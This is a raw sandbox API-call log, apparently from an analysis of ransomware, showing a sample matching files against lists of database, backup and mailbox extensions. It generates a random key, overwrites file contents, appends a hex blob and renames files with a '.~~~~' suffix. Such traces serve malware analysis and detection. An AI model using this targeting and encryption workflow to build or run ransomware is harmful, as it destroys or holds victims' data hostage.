	[0141.652] lstrlenW (lpString=".FDB") returned 4
	[0141.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".FDB") returned 0x0
	[0141.652] lstrlenW (lpString=".EDB") returned 4
	[0141.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".EDB") returned 0x0
	[0141.652] lstrlenW (lpString=".DACPAC") returned 7
	[0141.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".DACPAC") returned 0x0
	[0141.652] lstrlenW (lpString=".VHD") returned 4
	[0141.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".VHD") returned 0x0
	[0141.652] lstrlenW (lpString=".DBV") returned 4
	[0141.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".DBV") returned 0x0
	[0141.652] lstrlenW (lpString=".dacpac") returned 7
	[0141.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".dacpac") returned 0x0
	[0141.652] lstrlenW (lpString=".sdf") returned 4
	[0141.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".sdf") returned 0x0
	[0141.652] lstrlenW (lpString=".accdb") returned 6
	[0141.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".accdb") returned 0x0
	[0141.652] lstrlenW (lpString=".DBX") returned 4
	[0141.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".DBX") returned 0x0
	[0141.652] lstrlenW (lpString=".MDT") returned 4
	[0141.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".MDT") returned 0x0
	[0141.652] lstrlenW (lpString=".SQB") returned 4
	[0141.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".SQB") returned 0x0
	[0141.653] lstrlenW (lpString=".vhd") returned 4
	[0141.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".vhd") returned 0x0
	[0141.653] lstrlenW (lpString=".bac") returned 4
	[0141.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".bac") returned 0x0
	[0141.653] lstrlenW (lpString=".mdf") returned 4
	[0141.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".mdf") returned 0x0
	[0141.653] lstrlenW (lpString=".BAK") returned 4
	[0141.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".BAK") returned 0x0
	[0141.653] lstrlenW (lpString=".BAC") returned 4
	[0141.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".BAC") returned 0x0
	[0141.653] lstrlenW (lpString=".dbs") returned 4
	[0141.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".dbs") returned 0x0
	[0141.653] lstrlenW (lpString=".vhdx") returned 5
	[0141.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".vhdx") returned 0x0
	[0141.653] lstrlenW (lpString=".NDF") returned 4
	[0141.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".NDF") returned 0x0
	[0141.653] lstrlenW (lpString=".dat") returned 4
	[0141.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".dat") returned 0x0
	[0141.653] lstrlenW (lpString=".DBS") returned 4
	[0141.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".DBS") returned 0x0
	[0141.653] lstrlenW (lpString=".CKP") returned 4
	[0141.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".CKP") returned 0x0
	[0141.653] lstrlenW (lpString=".edb") returned 4
	[0141.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".edb") returned 0x0
	[0141.653] lstrlenW (lpString=".PST") returned 4
	[0141.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".PST") returned 0x0
	[0141.654] lstrlenW (lpString=".dbf") returned 4
	[0141.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".dbf") returned 0x0
	[0141.654] lstrlenW (lpString=".SQL") returned 4
	[0141.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".SQL") returned 0x0
	[0141.654] lstrlenW (lpString=".pst") returned 4
	[0141.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".pst") returned 0x0
	[0141.654] lstrlenW (lpString=".dbv") returned 4
	[0141.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".dbv") returned 0x0
	[0141.654] lstrlenW (lpString=".SDF") returned 4
	[0141.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".SDF") returned 0x0
	[0141.654] lstrlenW (lpString=".dtxs") returned 5
	[0141.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".dtxs") returned 0x0
	[0141.654] lstrlenW (lpString=".db3") returned 4
	[0141.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".db3") returned 0x0
	[0141.654] lstrlenW (lpString=".OST") returned 4
	[0141.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".OST") returned 0x0
	[0141.654] lstrlenW (lpString=".dbx") returned 4
	[0141.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".dbx") returned 0x0
	[0141.654] lstrlenW (lpString=".DB3") returned 4
	[0141.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".DB3") returned 0x0
	[0141.654] lstrlenW (lpString=".DAT") returned 4
	[0141.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".DAT") returned 0x0
	[0141.654] lstrlenW (lpString=".VHDX") returned 5
	[0141.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".VHDX") returned 0x0
	[0141.654] lstrlenW (lpString=".ndf") returned 4
	[0141.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".ndf") returned 0x0
	[0141.655] lstrlenW (lpString=".DB") returned 3
	[0141.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".DB") returned 0x0
	[0141.655] lstrlenW (lpString=".sql") returned 4
	[0141.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".sql") returned 0x0
	[0141.655] lstrlenW (lpString=".MYD") returned 4
	[0141.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".MYD") returned 0x0
	[0141.655] lstrlenW (lpString=".DBT") returned 4
	[0141.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".DBT") returned 0x0
	[0141.655] lstrlenW (lpString=".ACCDB") returned 6
	[0141.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".ACCDB") returned 0x0
	[0141.655] lstrlenW (lpString=".fdb") returned 4
	[0141.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".fdb") returned 0x0
	[0141.655] lstrlenW (lpString=".bak") returned 4
	[0141.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".bak") returned 0x0
	[0141.655] lstrlenW (lpString=".myd") returned 4
	[0141.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".myd") returned 0x0
	[0141.655] lstrlenW (lpString=".DTXS") returned 5
	[0141.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".DTXS") returned 0x0
	[0141.655] lstrlenW (lpString=".ckp") returned 4
	[0141.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".ckp") returned 0x0
	[0141.655] lstrlenW (lpString=".dbt") returned 4
	[0141.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".dbt") returned 0x0
	[0141.656] lstrlenW (lpString=".db") returned 3
	[0141.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".db") returned 0x0
	[0141.656] lstrlenW (lpString=".TXT") returned 4
	[0141.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".TXT") returned 0x0
	[0141.656] lstrlenW (lpString=".MDF") returned 4
	[0141.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".MDF") returned 0x0
	[0141.656] lstrlenW (lpString=".bdb") returned 4
	[0141.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".bdb") returned 0x0
	[0141.656] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0141.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0141.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0141.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0141.868] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0141.871] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0141.871] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0141.871] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0141.871] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0141.871] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0141.871] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26186150470) returned 1
	[0141.871] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbdf6f330, dwHighDateTime=0x1d60e1e)) 
	[0141.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0141.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0141.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0141.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3840
	[0141.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0141.872] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3840 | out: hHeap=0x300000) returned 1
	[0141.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0141.872] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0141.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aecb0
	[0141.872] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0141.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0141.872] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aecb0 | out: hHeap=0x300000) returned 1
	[0141.872] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0141.872] GetLastError () returned 0x0
	[0141.873] GetLastError () returned 0x0
	[0141.873] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0141.873] GetLastError () returned 0x0
	[0141.873] GetLastError () returned 0x0
	[0141.873] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x2b53, lpOverlapped=0x0) returned 1
	[0141.875] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffd4ad, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.875] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x2b53, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x2b53, lpOverlapped=0x0) returned 1
	[0141.876] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0141.876] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.876] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0141.876] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0141.876] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0141.876] CloseHandle (hObject=0x114) returned 1
	[0141.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aecb0
	[0141.877] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir48b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir48b.gif.~~~~")) returned 1
	[0141.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aecb0 | out: hHeap=0x300000) returned 1
	[0141.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0141.880] GetLastError () returned 0x0
	[0141.880] RtlWakeConditionVariable () returned 0x0
	[0141.880] GetCurrentThreadId () returned 0x9cc
	[0141.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".scr") returned 0x0
	[0141.880] lstrlenW (lpString=".cmd") returned 4
	[0141.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".cmd") returned 0x0
	[0141.880] lstrlenW (lpString=".dll") returned 4
	[0141.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".dll") returned 0x0
	[0141.880] lstrlenW (lpString=".bat") returned 4
	[0141.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".bat") returned 0x0
	[0141.880] lstrlenW (lpString=".cpl") returned 4
	[0141.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".cpl") returned 0x0
	[0141.880] lstrlenW (lpString=".sys") returned 4
	[0141.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".sys") returned 0x0
	[0141.880] lstrlenW (lpString=".msc") returned 4
	[0141.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".msc") returned 0x0
	[0141.881] lstrlenW (lpString=".com") returned 4
	[0141.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".com") returned 0x0
	[0141.881] lstrlenW (lpString=".lnk") returned 4
	[0141.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".lnk") returned 0x0
	[0141.881] lstrlenW (lpString=".msp") returned 4
	[0141.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".msp") returned 0x0
	[0141.881] lstrlenW (lpString=".pif") returned 4
	[0141.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".pif") returned 0x0
	[0141.881] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0141.881] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir49b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0141.883] lstrlenW (lpString=".sqb") returned 4
	[0141.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".sqb") returned 0x0
	[0141.883] lstrlenW (lpString=".ost") returned 4
	[0141.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".ost") returned 0x0
	[0141.883] lstrlenW (lpString=".txt") returned 4
	[0141.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".txt") returned 0x0
	[0141.883] lstrlenW (lpString=".mdt") returned 4
	[0141.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".mdt") returned 0x0
	[0141.883] lstrlenW (lpString=".BDB") returned 4
	[0141.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".BDB") returned 0x0
	[0141.883] lstrlenW (lpString=".eql") returned 4
	[0141.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".eql") returned 0x0
	[0141.884] lstrlenW (lpString=".DBF") returned 4
	[0141.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".DBF") returned 0x0
	[0141.884] lstrlenW (lpString=".EQL") returned 4
	[0141.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".EQL") returned 0x0
	[0141.884] lstrlenW (lpString=".FDB") returned 4
	[0141.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".FDB") returned 0x0
	[0141.884] lstrlenW (lpString=".EDB") returned 4
	[0141.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".EDB") returned 0x0
	[0141.884] lstrlenW (lpString=".DACPAC") returned 7
	[0141.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".DACPAC") returned 0x0
	[0141.884] lstrlenW (lpString=".VHD") returned 4
	[0141.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".VHD") returned 0x0
	[0141.884] lstrlenW (lpString=".DBV") returned 4
	[0141.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".DBV") returned 0x0
	[0141.884] lstrlenW (lpString=".dacpac") returned 7
	[0141.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".dacpac") returned 0x0
	[0141.884] lstrlenW (lpString=".sdf") returned 4
	[0141.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".sdf") returned 0x0
	[0141.884] lstrlenW (lpString=".accdb") returned 6
	[0141.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".accdb") returned 0x0
	[0141.884] lstrlenW (lpString=".DBX") returned 4
	[0141.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".DBX") returned 0x0
	[0141.884] lstrlenW (lpString=".MDT") returned 4
	[0141.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".MDT") returned 0x0
	[0141.885] lstrlenW (lpString=".SQB") returned 4
	[0141.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".SQB") returned 0x0
	[0141.885] lstrlenW (lpString=".vhd") returned 4
	[0141.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".vhd") returned 0x0
	[0141.885] lstrlenW (lpString=".bac") returned 4
	[0141.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".bac") returned 0x0
	[0141.885] lstrlenW (lpString=".mdf") returned 4
	[0141.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".mdf") returned 0x0
	[0141.885] lstrlenW (lpString=".BAK") returned 4
	[0141.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".BAK") returned 0x0
	[0141.885] lstrlenW (lpString=".BAC") returned 4
	[0141.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".BAC") returned 0x0
	[0141.885] lstrlenW (lpString=".dbs") returned 4
	[0141.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".dbs") returned 0x0
	[0141.885] lstrlenW (lpString=".vhdx") returned 5
	[0141.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".vhdx") returned 0x0
	[0141.885] lstrlenW (lpString=".NDF") returned 4
	[0141.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".NDF") returned 0x0
	[0141.885] lstrlenW (lpString=".dat") returned 4
	[0141.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".dat") returned 0x0
	[0141.885] lstrlenW (lpString=".DBS") returned 4
